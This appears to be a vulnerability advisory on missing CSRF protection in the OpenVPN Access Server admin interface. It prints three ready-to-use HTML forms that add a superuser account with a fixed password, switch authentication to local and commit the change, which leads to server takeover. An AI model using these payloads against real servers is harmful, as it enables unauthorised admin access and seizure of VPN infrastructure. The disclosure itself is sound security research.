Advisories
Details
When analyzing the OpenVPN Access Server, it quickly became apparent that the administration interface lacked any basic level of CSRF protection, which was easily demonstrated with a CSRF form like this, which will add a new user with admin privileges, using the username “csrfaccount” and password “qweasd”:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
<form action="https://192.168.1.133/admin/user_permissions" method="POST" enctype="multipart/form-data"> <input type="hidden" name="search" value=" " /> <input type="hidden" name="edit:openvpn:conn_group" value="None" /> <input type="hidden" name="edit:openvpn:pvt_password_digest" value=" " /> <input type="hidden" name="edit:openvpn:dynstatic" value="true" /> <input type="hidden" name="edit:openvpn:conn_ip" value=" " /> <input type="hidden" name="edit:openvpn:s2c_route_type" value="nat" /> <input type="hidden" name="edit:openvpn:s2c_routes" value=" " /> <input type="hidden" name="edit:openvpn:gwyesno" value="no" /> <input type="hidden" name="edit:openvpn:c2s_routes" value=" " /> <input type="hidden" name="edit:openvpn:dmzyesno" value="no" /> <input type="hidden" name="edit:openvpn:dmz_ip" value=" " /> <input type="hidden" name="new_username" value="csrfaccount" /> <input type="hidden" name="edit:%NEW%USER%:conn_group" value="None" /> <input type="hidden" name="edit:%NEW%USER%:prop_superuser" value="true" /> <input type="hidden" name="edit:%NEW%USER%:pvt_password_digest" value="qweasd" /> <input type="hidden" name="edit:%NEW%USER%:dynstatic" value="true" /> <input type="hidden" name="edit:%NEW%USER%:conn_ip" value=" " /> <input type="hidden" name="edit:%NEW%USER%:s2c_route_type" value="nat" /> <input type="hidden" name="edit:%NEW%USER%:s2c_routes" value=" " /> <input type="hidden" name="edit:%NEW%USER%:gwyesno" value="no" /> <input type="hidden" name="edit:%NEW%USER%:c2s_routes" value=" " /> <input type="hidden" name="edit:%NEW%USER%:dmzyesno" value="no" /> <input type="hidden" name="edit:%NEW%USER%:dmz_ip" value=" " /> <input type="hidden" name="button" value="Save Settings" /> </form> |
For this to be effective, we need to ensure that the server is configured to use “Local” authentication. This means OpenVPN controls the authentication, rather than using PAM/RADIUS/LDAP. We can do this with these two simple requests:
1 2 3 4 |
<form action="https://192.168.1.133/admin/authentication_general_configuration" method="POST" enctype="multipart/form-data"> <input type="hidden" name="auth.module.type" value="local" /> <input type="hidden" name="button" value="Save Settings" /> </form> |
When we have changed the authentication method, we need to commit the change:
1 2 3 4 |
<form action="https://192.168.1.133/admin/authentication_general_configuration" method="POST" enctype="multipart/form-data"> <input type="hidden" name="button" value="Update Running Server" /> <input type="hidden" name="auth.module.type" value="local" /> </form> |
If we do a CSRF attack against a target using these 3 requests(Which can be done with the method described in my post about multi-stage CSRF attacks), we can then authenticate to the OpenVPN AS admin interface using the account details csrfaccount/qweasd. This further allows us to take over the server.